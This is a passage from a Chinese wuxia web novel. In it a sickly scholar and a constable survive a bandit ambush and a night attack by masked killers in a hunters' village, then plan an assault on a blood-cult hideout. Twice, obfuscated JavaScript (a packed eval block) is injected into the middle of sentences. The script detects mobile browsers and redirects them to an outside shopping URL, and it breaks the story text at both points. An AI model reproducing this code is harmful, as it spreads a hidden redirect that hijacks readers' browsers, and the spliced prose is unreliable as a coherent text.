江清砚放下书卷,从袖中取出一张手绘的地图——那图绘在素绢上,墨迹清晰,山川河流、驿站村落标注得一丝不苟,甚至还有些细小的注记,写着某段路“夏多泥泞”、某处林“曾有匪患”。 谢云辞睁眼瞥见,心中又是一惊。这样详实的地图,绝非市面上能买到的货色。 “你画的?”他问。 “嗯。”江清砚手指轻点图上一条蜿蜒的细线,“走山径。官道虽平坦,但要经过‘黑石峪’,那里近半年出了三起劫案,官府至今未破。山径虽险,但沿途有猎户村落,若有变故,可寻助力。” 他说得条理分明,像是早已将这条路研究过千百遍。谢云辞看着他苍白清瘦的侧脸,忽然意识到:这个看似文弱的书生,其实是个极谨慎的谋士。 “你怎知黑石峪的劫案?”谢云辞忍不住问。 “每过一城,我便去茶馆坐半个时辰。”江清砚收起地图,语气平淡,“贩夫走卒、衙门小吏、过往客商……他们闲谈时说的话,拼凑起来,便是最真实的路况。” 谢云辞沉默了。 他忽然想起六扇门里那些专司情报的老吏——他们也是这般,从市井流言、账簿票据、甚至青楼歌女的闲谈里,抽丝剥茧出线索。可那些人是吃了几十年公门饭的老油子,而眼前这个少年,才十七岁。 “你……”谢云辞开口,又顿住。他发现自己在江清砚面前,总是问出一些笨拙的问题。 “我惜命。”江清砚替他接了下去,唇角浮起一丝极淡的笑意,“既决定要走这条路,总要把能做的准备都做足。” 他说着,又从书箱底层摸出一个小布包,打开,里面是十几枚铜钱大小的铁片,边缘磨得锋利,中间穿孔,系着细细的丝线。 “这是什么?”谢云辞拿起一枚细看。 “绊索镖。”江清砚接过来,手指在铁片边缘一抹——那看似平滑的边缘竟弹出三根倒刺,寒光凛凛,“埋在路上,丝线横拉,马腿踏中,倒刺弹出,能伤马腿。丝线淬了麻药,人若绊倒,沾肤即麻。” 他说得轻描淡写,谢云辞却听得背脊发凉。这玩意儿阴毒得很,专攻下盘,在狭窄山道上简直是噩梦。 “你做了多少?”他问。 “够用。”江清砚将布包重新收起,“但愿用不上。” 马车在午时抵达岔路口。忠伯勒住马,回头询问。江清砚撩开车帘看了看——官道宽阔平坦,偶有车马往来;山径入口隐在茂林之后,只容一车通过,蜿蜒没入深翠之中。 “走山径。”江清砚道。 忠伯应了一声,调转马头。车轮轧上碎石路,颠簸陡然加剧。江清砚身子晃了晃,被谢云辞伸手扶住胳膊。那手臂细得惊人,隔着衣袖都能感觉到骨头的形状。 “多谢。”江清砚稳住身形,手却按在了胸口,脸色又白了几分。 “你的药。”谢云辞提醒。 江清砚摇头:“一日不能过三粒,会伤根本。”他闭上眼,深深吸气,再缓缓吐出,如此几次,额角的冷汗才渐渐退去。 谢云辞看着他隐忍的侧脸,心头那点异样的感觉又浮了上来。这少年像一根绷得太紧的弦,看似平静,实则随时可能断裂。 马车驶入山林深处。 参天古木遮天蔽日,将午后的阳光滤成碎金,斑斑点点洒在积满落叶的路面上。山风穿过林隙,带来湿润的泥土气息和隐约的溪流声。偶有野兔从道旁窜过,惊起一群山雀。 景色幽静,谢云辞的神经却绷得更紧了。 这种地方,太适合埋伏。 果然,行出约莫十里,前方路面出现了异常——几棵碗口粗的断木横在路中,断口新鲜,显然是刚被人砍倒的。 忠伯勒住马,回头看向车厢。谢云辞已掀帘下车,目光锐利地扫过四周山林。 太安静了。连鸟叫声都没有。 “待在车里。”他对江清砚低声道,手已摸向腰间——虽然无刀,但指间扣住了三枚铜钱。那是他昨夜从江清砚那里要来的,边缘磨得锋利,可作暗器。 江清砚却也从车上下来了。他脸色仍白,但神情镇定,目光缓缓扫过路面、断木、以及道旁一处被踩倒的灌木。 “七个人。”他忽然轻声说,“左前方树后两个,右坡上三个,还有两个在断木后方。拿的都是砍刀、柴斧,不是制式兵器,应该是本地山匪。” 谢云辞猛地看向他:“你怎么知道?” “脚印。”江清砚用脚尖点了点地面一处几不可见的凹陷,“鞋底纹路粗劣,尺寸不一。灌木倒伏的方向显示有人从坡上快速冲下。至于人数……看他们预留的合围空间,七人是最合理的配置。” 他说得有理有据,谢云辞却听得心头震动。这般细致的观察力和推断力,简直像是……像是刑部那些专司现场勘察的老手。 “既然不是专业杀手,便好办。”江清砚从袖中取出那个装“松筋散”的瓷瓶,递给谢云辞,“待他们冲出来,你将药粉撒向空中,记得闭气。余下的,交给我。” 谢云辞接过瓷瓶,指尖触到江清砚冰凉的手指。他深深看了对方一眼,点了点头。 几乎在同时,林中响起一声唿哨! 七道身影从藏身处跃出,手持利刃,呼喝着扑向马车。为首的是个满脸横肉的疤脸汉子,狞笑着挥刀砍向谢云辞:“留下钱财,饶你们……” 话未说完,谢云辞已动了。 他身形如鬼魅般侧滑半步,避开刀锋,左手一扬——瓷瓶在空中划出弧线,瓶塞不知何时已被弹开,淡黄色的粉末如烟似雾,迎风散开! 冲在最前的三人收势不及,一头撞进药雾中。他们本能地吸气,随即眼睛瞪大,手中兵器“哐当”落地,整个人软软瘫倒。 “妖术!”余下四人大骇,急急后退。 就在这一退的瞬间,江清砚动了。 他没有上前,反而退到马车旁,俯身,手指在车轮轴上一按——那里有个极隐蔽的机括。“咔哒”轻响,车厢底板突然弹开几块木板,数十枚铁蒺藜“哗啦啦”撒了一地! 那些铁蒺藜每个都有拳头大小,生满倒刺,在落叶间闪着幽蓝的光——显然也淬了毒。 冲在后面的两个山匪收脚不及,一脚踩中,惨叫声顿时撕破山林!他们抱着脚在地上翻滚,不过几个呼吸,便抽搐着不动了。 剩下最后两人,一个疤脸头目,一个瘦高个,已吓得魂飞魄散。他们看着地上瞬间倒下的五个同伴,又看看那个苍白清瘦、仿佛风一吹就倒的书生,再也不敢上前。 “好汉饶命!好汉饶命!”瘦高个率先扔了刀,跪地磕头,“小的们有眼不识泰山,求好汉给条活路!” 疤脸头目脸色铁青,握着刀的手在发抖,却还强撑着:“你们……你们到底是什么人?!” 谢云辞没回答。他走到那三个中了“松筋散”的山匪身边,俯身检查——呼吸平稳,只是浑身无力,确实不伤性命。他回头看了江清砚一眼,少年站在马车旁,神色平静,仿佛刚才撒出铁蒺藜的不是他。 “收拾东西,走吧。”江清砚对忠伯道,又看向谢云辞,“他们十二个时辰后自会醒来,不必管了。” 谢云辞点头,转身欲走。疤脸头目却忽然嘶声喊道:“等等!你们……你们可是要去京城?!” 江清砚脚步一顿。 疤脸头目像是抓住救命稻草,急急道:“往前二十里,过‘鬼见愁’峡谷,近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863480|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日有伙强人设卡!他们不像我们只劫财,那是真杀人的主!你们、你们若信我,可绕道西边的猎户村,虽然远些,但安全!” 江清砚转过身,静静看着他:“为何告诉我们?” 疤脸头目苦笑:“今日栽在二位手里,我们认了。但那伙人……上个月劫了一支商队,三十五口,没留一个活口。我们虽落草,但不敢做那种绝户事。算是……算是积点阴德吧。” 谢云辞与江清砚对视一眼。 “猎户村怎么走?”江清砚问。 瘦高个连忙爬起来,指着西边一条几乎被荒草淹没的小道:“从这儿进去,走七八里,见着三棵并生的老槐树往右拐,再走三四里就能看见村子。村里人实在,给些银钱,能带你们穿山过去,绕开鬼见愁。” 江清砚从袖中取出一小块碎银,抛给瘦高个:“多谢。” 说罢,转身上车。谢云辞深深看了那两个山匪一眼,也跟了上去。 忠伯调转马头,马车碾过落叶,驶入那条荒草丛生的小径。待车厢消失在林深处,疤脸头目才一屁股坐倒在地,抹了把额头的冷汗。 “大哥,那书生……邪门啊。”瘦高个凑过来,心有余悸。 疤脸头目看着地上昏迷的兄弟,又看看西边小径,忽然低声道:“那两人,不是普通人。尤其是那书生……他那双眼睛,太清了,清得让人发毛。” “咱们还劫道吗?” “劫个屁!”疤脸头目啐了一口,“收拾东西,换个山头。这地方……不能待了。” 马车在小径上颠簸前行。 车厢里,江清砚闭目养神,呼吸仍有些急促。方才虽未亲自出手,但精神高度紧绷,又诱发了心疾。他含了药,静静调息。 谢云辞看着他苍白的脸,忽然开口:“你怎知他们会说出鬼见愁的事?” 江清砚睁开眼,眸子里闪过一丝倦意,却依然清亮。 “人性。”他缓缓道,“他们落草为寇,无非求财。既已败露,为求活命,总要拿出些有价值的东西交换。鬼见愁的事,便是他们的买命钱。” “你信他们的话?” “七分信。”江清砚从怀中取出地图,手指在上面移动,“你看,鬼见愁峡谷地势险要,一夫当关。若真有强人设卡,确是绝地。而猎户村……”他指尖点在西侧一处标记,“我地图上有注,村中多猎户,熟悉山路。绕道虽远,但稳妥。” 谢云辞看着他那张详尽得可怕的地图,忽然觉得,自己这趟京城之行,或许会因为身边这个少年,变得完全不一样。 “你总是算得这么清楚吗?”他忍不住问。 江清砚抬起眼,静静看了他片刻,忽然轻轻笑了。 那笑意很淡,却莫名有些苍凉。 “我这样的人,”他低声道,“没有多少犯错的余地。走错一步,可能就是死。” 谢云辞心头一震。 他看着少年重新闭目养神的侧脸,看着那纤长睫毛下淡淡的青影,忽然意识到:这个看似从容淡定的书生,其实每一天都走在悬崖边上。他的命太薄,薄到一阵风、一场雨、一次意外,都可能将他带走。 所以他才要算,要谋,要把所有能掌控的变数都握在手里。 因为除此之外,他别无倚仗。 马车驶过一处溪流,水声潺潺。阳光透过枝叶缝隙,在车厢内投下摇曳的光斑。 谢云辞忽然开口,声音很低,却异常清晰: “到京城之前,你不会死。” 江清砚睁开眼,看向他。 “我答应过护你周全。”谢云辞迎着他的目光,一字一句道,“我从不食言。” 四目相对。 车厢里安静得能听见彼此的呼吸声。许久,江清砚轻轻点了点头。 “我信。”他说。 然后他重新闭上眼,唇角却浮起一丝极淡、却真实的笑意。 马车继续前行,碾过落叶,碾过光影,碾过这萍水相逢却悄然生根的信任。 前路依然凶险,但至少这一刻,他们都不是独行。 5. 第 5 章 第五章林间杀阵 猎户村藏在深山褶皱里,几十户人家散落在溪流两岸,屋顶铺着厚厚的茅草,墙是山石垒的,缝隙里长着青苔。日头偏西时,马车碾过村口的木桥,惊起一群在溪边饮水的山雀。 几个正在修补渔网的汉子抬起头,目光警惕地打量着这辆突兀闯入的马车。其中一个年长的站起身,手里还攥着半截麻绳,朝车厢走来。 “客人打哪儿来?”他问,声音粗嘎,带着浓重的北地口音。 忠伯停下车,赔着笑正要答话,江清砚已掀帘下车。他换了身半旧的靛青布衣,长发用木簪简单束起,脸色虽仍苍白,但神色温润平和,对着那猎户长揖一礼: “老丈安好。学生江清砚,润州人士,与表兄同去京城赶考。途经此地,听闻前方鬼见愁峡谷不太平,想请贵村熟悉山路的乡亲带个路,绕道过去。酬劳好说。” 他说话不急不缓,礼数周全,又亮出赶考举子的身份,那老猎户神色缓和了些。他上下打量江清砚,又看了看随后下车、沉默站在一旁的谢云辞——后者虽换了布衣,但身姿挺拔,眼神锐利,一看就不是寻常书生。 “鬼见愁啊……”老猎户咂咂嘴,摇头,“那地方确实去不得。上个月有伙外来的强人占了峡谷,专劫过往客商,狠着呢。村里王老六上月出山卖皮子,差点折在那儿。” “所以才来叨扰。”江清砚从袖中取出一小块碎银,约莫二两重,双手奉上,“不知老丈可否行个方便?” 银子在夕阳下泛着温润的光。老猎户眼睛亮了亮,却又犹豫:“带路倒是不难,只是……”他看了看天色,“今日晚了,山里有狼,夜里走不得。客人若是不嫌弃,可在村里歇一晚,明日一早,我让我家大小子带你们过去。” 江清砚与谢云辞对视一眼,点了点头:“那便叨扰了。” 老猎户姓陈,村里人都叫他陈老栓。他将二人领到自家院子——三间石屋围成个小院,院里晾着兽皮,墙角堆着柴禾,灶房飘出煮野菜的香气。一个十七八岁的黑壮少年正在院里劈柴,见有生人来,停下斧子好奇地打量。 “这是我家大小子,陈虎。”陈老栓介绍,“明日让他带你们走。” 陈虎咧嘴一笑,露出一口白牙,朝两人抱了抱拳,又埋头继续劈柴。斧头落下,木柴应声而裂,干净利落。 江清砚谢过,让忠伯将马车赶进院里拴好。陈老栓的妻子是个瘦小的妇人,话不多,默默收拾出一间偏屋,又抱来干净的被褥。虽是陋室,但收拾得整洁。 晚饭是杂粮饼子、山野菜汤,还有一小碟腌鹿肉。陈老栓一家话不多,只埋头吃饭,偶尔抬眼看看这两个气质迥异的“表兄弟”。 “客人是读书人?”陈老栓忽然问。 “是。”江清砚答。 “去京城考状元?” “尽力而为。” 陈老栓点点头,不再多问。倒是陈虎忍不住开口:“我听说京城可大了,房子比山还高,街上人挤人,真的?” 江清砚笑了笑:“京城确实繁华。不过山有山的好,水有水的妙。各安其所罢了。” 他说得温和,陈虎听得似懂非懂,却咧嘴笑了:“你这人说话真好听。” 谢云辞始终沉默吃饭,目光却将屋内屋外扫了个遍——门窗结实,院墙一人多高,院门有闩。看似寻常农家,但墙角堆着的柴禾里,混着几根削尖的木桩;屋檐下挂着的,除了干辣椒,还有两张硬弓、一壶箭。 这家人,不简单。 饭后,陈老栓提了盏油灯,送二人回偏屋。油灯昏黄的光在石墙上投下摇曳的影子,山风穿过门缝,发出呜呜的轻响。 “夜里若有动静,莫要出来。”陈老栓在门口站定,压低声音,“这山里……不太平。” 江清砚心中一动:“老丈指的是?” 陈老栓犹豫片刻,才道:“前些日子,村里有人夜里听见狼嚎,可那声音……不像真狼。后来有人在西山坳里发现几具尸首,看衣裳像是行商的,身上没外伤,就是……”他顿了顿,“脖子都被咬穿了,血被吸干了。” 油灯的光猛地一跳。 江清砚神色微凝:“吸血?” “村里老人说是‘山魈’作祟。”陈老栓声音压得更低,“那东西专在夜里出来,吸人血,吃人心。客人夜里切记关好门窗,无论听见什么,都别出来。” 他说完,匆匆提着灯走了,像是怕多说一句都会招来不祥。 偏屋里只剩下江清砚和谢云辞。油灯放在木桌上,火苗跳跃,将两人的影子长长地投在墙上。 “你怎么看?”谢云辞忽然问。 江清砚在床边坐下,从行李中取出那卷《通鉴》,却并未翻开。他指尖轻叩书脊,沉吟片刻:“伤口在脖颈,吸血……听起来像是江湖中流传的‘血蝠功’。” 谢云辞瞳孔微缩:“你知道?” “书上见过。”江清砚抬起眼,“前朝魔教‘血衣门’的邪功,以人血练功,修炼者需定期吸食活人鲜血,否则会经脉逆转而死。但血衣门六十年前就被朝廷剿灭了,传承应已断绝。” “未必。”谢云辞走到窗边,透过缝隙看向漆黑的院落,“魔教余孽,最擅藏匿。若真有传人活下来,躲在深山老林里,也不奇怪。” 江清砚沉默了片刻。 “陈老栓说尸首在西山坳。”他缓缓道,“而明日我们要走的绕道路线,正好经过西山坳边缘。” 谢云辞猛地转身:“你的意思是——” “未必是巧合。”江清砚站起身,走到墙边,手指轻抚过粗糙的石壁,“陈老栓一家,猎户出身,却能在这种地方安稳度日。你看院里的布置,墙角木桩削尖的角度,屋檐下弓箭悬挂的位置……都是精心设计过的防御工事。” 他转过身,目光清亮地看着谢云辞:“这村里的人,恐怕不是第一次应对‘山魈’了。” 谢云辞心头一凛。他重新审视这个看似平静的小村——夜色中的石屋沉默伫立,窗隙里透出零星灯火,偶有犬吠从远处传来,更衬得山村静谧。 可这静谧之下,藏着什么? “明日还要赶路,先歇息吧。”江清砚吹熄油灯,只留桌上一点如豆的烛火,“我守上半夜,你守下半夜。” “你身体——” “无妨。”江清砚已在床边盘膝坐下,闭目调息,“心疾不发作时,我与常人无异。” 谢云辞不再多说。他在对面床上和衣躺下,手却按在腰间——那里藏着一把匕首,是临行前江清砚从行李中翻出来给他的,虽不及他的雁翎刀顺手,但总好过赤手空拳。 烛火摇曳,将两人的影子投在墙上,时而交叠,时而分开。 夜渐渐深了。 山风渐急,吹得窗纸哗啦作响。远处传来隐约的狼嚎,悠长凄厉,在群山中回荡。但那声音……确实有些异样。不似真狼的嚎叫,倒像是人在模仿,只是模仿得惟妙惟肖,几乎可以假乱真。 谢云辞闭着眼,呼吸平稳绵长,实则五感全开。他能听见隔壁陈老栓一家均匀的呼吸声,能听见院外溪流的潺潺水声,能听见风吹过林梢的沙沙声…… 还有,某种极轻的、踩过落叶的脚步声。 不止一个。 谢云辞倏然睁眼,与同时睁开眼的江清砚目光相撞。两人都没有动,只是静静听着。 脚步声很轻,很稳,显然有功夫在身。他们在院外停住了,似乎在观察。片刻后,有人低声说了句什么,声音压得极低,听不真切。 接着,院墙外传来极轻微的“咔哒”声——像是有人在撬门闩。 江清砚无声地滑下床,走到窗边,透过缝隙朝外望去。月光被云层遮挡,院落里一片漆黑,只能隐约看见几个黑影贴在院墙外,动作敏捷。 他退回床边,从枕下摸出那个装绊索镖的布包,快速系在腰间。又取出一个巴掌大的皮囊,里面是淬了麻药的钢针。 谢云辞也已起身,匕首出鞘,寒光凛冽。 就在这时,院门处传来“咯吱”一声轻响——门闩被撬开了! 黑影如鬼魅般闪入院中,足有六七人,俱是黑衣蒙面,手持短刃,动作整齐划一,直扑正屋和偏屋! 江清砚与谢云辞几乎同时动了。 江清砚并未迎敌,反而退到墙边,手指在石壁某处一按——那里有个极隐蔽的凹槽。只听“咔哒”轻响,偏屋的窗框突然弹起几根细如发丝的金属线,纵横交错,封死了整个窗口! 冲在最前的两个黑衣人收势不及,一头撞在线网上。那线看似纤细,却锋利无比,瞬间割破衣物皮肉!更可怕的是,线上淬了剧毒,伤口处立刻泛起黑紫色,两人惨叫着倒地抽搐。 余下黑衣人骇然止步。 而谢云辞已如猎豹般扑出!他身形快得只剩残影,匕首在月光下划出冷冽的弧线,直取第三人咽喉!那人急退格挡,金铁交击声刺破夜空! 几乎同时,正屋的门猛然打开!陈老栓手持猎叉冲出,身后跟着手持柴刀、弓箭的陈虎母子!他们显然早有防备,动作迅捷狠辣,猎叉直刺一个黑衣人后心! 院中顿时陷入混战! 江清砚没有加入战团。他退到墙角,目光迅速扫过全场——黑衣人七个,己方五人(算上忠伯),人数劣势,但陈老栓一家身手出乎意料的好,尤其是陈虎,一柄柴刀舞得虎虎生风,竟逼得两个黑衣人节节败退。 而谢云辞……江清砚的目光落在他身上。 那是真正的杀人之术。 没有花哨的招式,没有多余的动作,每一次出刀都精准、简洁、致命。匕首在他手中仿佛有了生命,刺、抹、挑、割,每一个动作都直取要害。不过几个呼吸,已有两个黑衣人倒在他刀下,伤口都在颈侧或心口,一刀毙命。 江清砚忽然想起书上对六扇门总捕头的描述——“掌刑名,司缉捕,杀伐决断,不拘常法”。谢云辞的刀法,确实配得上“杀伐决断”四字。 但黑衣人显然也不是庸手。余下三人见势不妙,忽然齐齐后撤,其中一人从怀中掏出一个竹筒,对着谢云辞一扬—— “小心!”江清砚厉喝,手中已弹出一枚钢针! 钢针破空,精准地打在竹筒上!竹筒偏了方向,筒中喷出的黑色液体洒在地上,顿时“嗤嗤”冒起白烟,竟是剧毒腐蚀液! 那黑衣人见一击不中,怪叫一声,三人同时掷出数枚黑乎乎的弹丸! “闭气!”江清砚急喝,已率先掩住口鼻。 弹丸落地炸开,浓密的黑烟瞬间弥漫整个院落!烟雾刺鼻呛人,带着强烈的麻痹效果。陈虎母子猝不及防吸入一口,顿时头晕目眩,动作迟滞。 黑衣人趁机猛攻!一人缠住谢云辞,两人直扑已摇摇欲坠的陈虎母子! 千钧一发之际,江清砚动了。 他没有上前,反而俯身,手指在地上快速摸索——那里有他傍晚时分悄悄埋下的几处机关。指尖触到某个凸起,用力一按! “嗖嗖嗖——” 数支短弩从墙角、柴堆、甚至屋檐下激射而出!弩箭虽短,但劲力十足,且淬了麻药,瞬间封死了黑衣人所有的进攻路线! 那两人骇然急退,其中一人小腿中箭,闷哼一声倒地。另一人狼狈躲闪,却撞上了从烟雾中扑出的谢云辞! 匕首寒光一闪,没入咽喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈岩深深看了他一眼,没再多说,转身去查看那些黑衣人尸体。他翻检得很仔细,尤其注意他们衣领袖口、兵刃形制、甚至鞋底纹路。 江清砚也走过来,蹲下身,从怀中取出一个牛皮小袋,倒出些白色粉末,撒在一具尸体的伤口上。粉末遇血变色,由白转青。 “箭上有毒。”他轻声道,“但不是致命毒,只是麻痹。” 陈岩猛地抬头看他:“小兄弟懂毒?” “略知一二。”江清砚站起身,拍了拍手上的灰,“这些人训练有素,配合默契,不是普通山匪。更奇怪的是……” 他指了指其中一具尸体的手:“虎口、指关节的茧子分布,是常年用刀留下的。但他们的刀法,却夹杂着军中的劈砍套路和江湖的诡谲招式。像是……受过统一训练,但又混杂了不同路数。” 陈岩眼神微变。 谢云辞心中也是一凛。江清砚的观察力,细致得可怕。 “先收拾了吧。”陈老栓叹了口气,“尸体不能留村里,惹晦气。陈大哥,你看……” “我来处理。”陈岩站起身,“你们先进屋,今夜我守夜。” 众人默默收拾残局。陈虎母子扶着陈老栓回正屋上药,忠伯惊魂未定地收拾偏屋。江清砚和谢云辞回到房中,关上门,油灯重新点亮。 烛火摇曳,映着两人凝重的脸。 “你怎么看?”谢云辞低声问。 江清砚在桌边坐下,手指无意识地轻叩桌面:“陈岩在说谎。他的箭术、身手,绝不是县衙衙役该有的水平。还有那些黑衣人……” 他抬起眼,目光清亮:“他们是冲着我们来的。” 谢云辞心头一沉:“何以见得?” “时机太巧。”江清砚缓缓道,“我们傍晚刚到,夜里就遭袭。而且,他们明显分了兵——四人缠斗,三人直扑偏屋。若只是寻常劫掠,该集中力量先拿下正屋,控制主家。可他们的目标很明确:先解决我们这两个‘外来客’。” 他顿了顿,声音更轻:“更关键的是,陈岩出现的时机。” 谢云辞眼神锐利起来:“你是说——” “他早就在屋顶了。”江清砚道,“黑衣人翻墙时,他就在。可他等到最后才出手,一箭毙命,不留活口。” 不留活口。 这四个字像冰锥,刺破了夜色的伪装。 谢云辞走到窗边,透过缝隙看向院落。陈岩正指挥陈虎将尸体搬上板车,动作熟练得仿佛常做这种事。月光照在他冷峻的侧脸上,投下深深的阴影。 “这村子,不简单。”谢云辞低声道。 “这整件事,都不简单。”江清砚轻轻咳嗽两声,脸色又白了几分,“从破庙追杀,到鬼见愁传言,再到今夜袭击……一环扣一环,像是有人早就布好了局,等我们往里钻。” 谢云辞转身看他:“你觉得是谁?” 江清砚沉默良久,才轻轻摇了摇头。 “我不知道。”他声音很轻,却异常清晰,“但我知道,从我们决定同行的那一刻起,就已经趟进了这浑水里。” 他抬起眼,看向谢云辞,烛火在他眸子里跳跃,映出一种近乎透明的坚定。 “所以,更要走到京城。只有到了那里,才能看清这局棋的全貌。” 谢云辞与他对视。 许久,他点了点头。 “好。”他说,“我护你到京城。” 这一次,承诺的重量,比之前任何一次都要沉。 因为他们都清楚——前路要面对的,恐怕不止是山匪、强人,还有藏在暗处、不知深浅的对手。 但既然已经同行,便没有退路。 窗外,陈岩将最后一具尸体搬上车,板车轱辘轱辘驶出院子,消失在夜色深处。 山村重归寂静,仿佛刚才那场厮杀从未发生。 可所有人都知道,有些东西,已经不一样了。 6. 第 6 章 第六章夜话生平 板车的轱辘声渐行渐远,最终没入山林深处,连带着七具尸首和今夜的血腥气一并带走。陈岩回来时,东方已泛起鱼肚白。他提着水桶冲洗院中血迹,动作麻利,神情平静得像是在打扫寻常落叶。 江清砚和谢云辞站在偏屋门口,看着他。 “陈捕头。”江清砚忽然开口。 陈岩动作一顿,缓缓直起身。他没否认这个称呼,只是转过身,目光平静地看向二人:“江公子好眼力。” “寻常衙役,不会有那般箭术,更不会对处理尸体如此熟稔。”江清砚缓缓走下台阶,“陈捕头在县衙,恐怕不只是‘当差’那么简单。” 陈岩沉默片刻,将水瓢扔回桶里,溅起一片水花。 “我是蓟州县衙总捕头。”他终于承认,“奉上命,在此暗查一桩案子。” 谢云辞眼神微凝:“什么案子?” 陈岩没有立刻回答。他走到院中石磨旁坐下,从怀里摸出个烟袋,点燃,深深吸了一口。烟雾在晨光中缭绕,模糊了他冷峻的面容。 “三位可知道,‘血衣门’?”他问。 江清砚与谢云辞对视一眼。 “前朝魔教,以人血练功,六十年前被朝廷剿灭。”江清砚答。 “剿灭?”陈岩冷笑一声,“那是朝廷对外说的。实际上,血衣门当年虽遭重创,但并未根除。余孽化整为零,散入江湖,有的甚至……混入了官府。” 烟袋锅里的火星明明灭灭。 “三年前,蓟州境内开始出现离奇命案。”陈岩声音低沉,“死者皆是青壮男子,脖颈有咬痕,浑身血液被吸干。起初只是偏远村落,后来蔓延到集镇,甚至县城。三年,十七起命案,四十九条人命。” 他抬起眼,目光如刀:“衙门查了三年,线索却总在关键时刻断掉。直到上月,我们追查到西山坳,发现了那伙强人的踪迹——他们占着鬼见愁峡谷,表面劫道,实则暗中掳掠过往客商,供人练功。” 江清砚心中一动:“所以鬼见愁的传言,是你们故意放出去的?” “是。”陈岩点头,“我们封锁了峡谷两侧,想逼他们出来。可这伙人狡猾得很,不但不露面,反而变本加厉,将手伸向了附近村落。”他顿了顿,“昨夜那些人,就是血衣门余孽。他们盯上你们,恐怕是察觉了你们身份特殊,想掳去练功。” 谢云辞忽然开口:“陈捕头为何告诉我们这些?” 陈岩看着他,又看看江清砚,忽然笑了:“因为我看得出来,二位也不是普通人。尤其是谢公子——你杀人的手法,干脆利落,是六扇门的路子吧?” 谢云辞瞳孔微缩,手已按向腰间。 “别紧张。”陈岩摆摆手,“我无意探究你的身份。只是想说,既然大家目标一致——你们要平安过山,我要剿灭魔教余孽——不如合作。” “合作?”江清砚轻声问。 “对。”陈岩站起身,走到二人面前,压低声音,“我得到线报,血衣门在附近有个秘密据点,就在猎户村往北三十里的‘老君洞’。那里地形复杂,易守难攻,我们强攻了三次,都无功而返。” 他目光灼灼地看着江清砚:“但若有江公子这样的机关高手,或许……能想出办法。” 晨光渐亮,山鸟开始啼叫。院中血迹已冲洗干净,只留下湿漉漉的青石板,映着天光。 江清砚沉默良久。 他抬起头,看向谢云辞。后者也正看着他,眼神里没有催促,只有询问。 “我需要看看地形图。”江清砚终于开口。 陈岩眼中闪过喜色,立刻从怀中掏出一卷羊皮地图,铺在石磨上。地图绘得粗糙,但山川走势、洞穴位置标注得很清楚。 江清砚俯身细看,手指在老君洞周围缓缓移动。那是一个天然溶洞群,入口隐蔽,内有岔路数十条,暗河穿行,确实易守难攻。 “你们试过火攻?水淹?”他问。 “试过。”陈岩苦笑,“洞里岔路太多,火攻烧不到深处;暗河水流湍急,水淹反而可能把毒物冲出来,伤及无辜。” 江清砚点点头,沉吟片刻,忽然指着地图上一处标记:“这里,是什么?” 陈岩凑近看去:“是一处瀑布,水势很大,从山崖直落洞底,形成深潭。我们查过,那潭水与暗河相通。” “瀑布的水,是活的。”江清砚轻声道,“活水,便可用。” 谢云辞眼神微亮:“你想用毒?” “不是毒。”江清砚摇头,“是药。” 他直起身,看向陈岩:“陈捕头,我需要三样东西:曼陀罗花、醉鱼草、还有……石灰。越多越好。” 陈岩愣了愣:“前两样山里就有,可石灰……” “村里建房,总会备些。”江清砚语气笃定,“若不够,去最近的镇子采买,一日可来回。” 陈岩盯着他看了片刻,忽然抱拳:“好!我这就去办!” 他说完转身就走,雷厉风行。院子里只剩下江清砚和谢云辞,还有刚刚走出正屋、一脸茫然的陈老栓一家。 “江公子,你们这是……”陈老栓搓着手,欲言又止。 “老丈放心。”江清砚温声道,“我们只是帮陈捕头一个小忙,不会牵连村里。” 陈老栓点点头,又摇摇头,叹了口气,带着妻儿回屋了。院中重归寂静。 谢云辞走到江清砚身边,低声道:“你有把握?” “七分。”江清砚看着东方渐亮的天空,“曼陀罗致幻,醉鱼草麻痹,石灰遇水发热,可加速药性挥发。将三者混合,从瀑布上游投入,水流带入溶洞,药雾随水汽弥漫……只要剂量足够,洞中之人,三日之内别想清醒。” 他说得平静,谢云辞却听得心头微震。这不战而屈人之兵的法子,看似温和,实则狠辣——若洞中真有被掳的无辜百姓,也会一并中招。 “若有百姓……”谢云辞皱眉。 “所以剂量要精准。”江清砚看向他,目光清亮,“我算过瀑布水量、洞内空间、空气流通速度。醉鱼草和曼陀罗的混合烟雾,吸入少量只会昏睡,十二个时辰自解。只有长时间暴露在高浓度药雾中,才会伤及神智。” 他顿了顿,声音轻了些:“这是我能想到的,伤亡最小的办法。” 谢云辞看着他苍白的侧脸,忽然意识到——这个少年看似温润,实则骨子里有种近乎冷酷的理性。他算得清剂量,算得清后果,算得清每一步的得失。 这种理性,是在无数次与死亡擦肩而过后,磨砺出来的生存本能。 “你……”谢云辞开口,却不知该问什么。 江清砚却忽然咳嗽起来。他掩着唇,背脊微微颤抖,咳得脸色泛红,额角渗出冷汗。谢云辞下意识扶住他胳膊,触手一片冰凉。 “药……”江清砚喘息着,从怀中摸出玉瓶,却手抖得厉害,险些将药丸洒了。 谢云辞接过玉瓶,倒出一粒赤色药丸,递到他唇边。江清砚就着他的手含下,闭目调息片刻,呼吸才渐渐平稳。 “你这病……”谢云辞皱眉。 “先天心疾,治不好的。”江清砚睁开眼,唇边扯出一丝淡淡的笑意,“能活一日,便赚一日。” 他说得轻描淡写,谢云辞胸口却像被什么堵住了。他想起自己身上的伤,想起那些在刀光剑影里挣扎求生的日夜,忽然觉得,他们其实是同一种人—— 都是把命悬在刀尖上,却偏要往前走的人。 “去屋里歇会儿。”谢云辞扶着他往偏屋走。 江清砚没有拒绝。他确实累了,昨夜守夜,今晨又耗神推算,心疾已到了发作的边缘。他在床边坐下,谢云辞倒了碗温水递给他。 “多谢。”江清砚接过,小口啜饮。 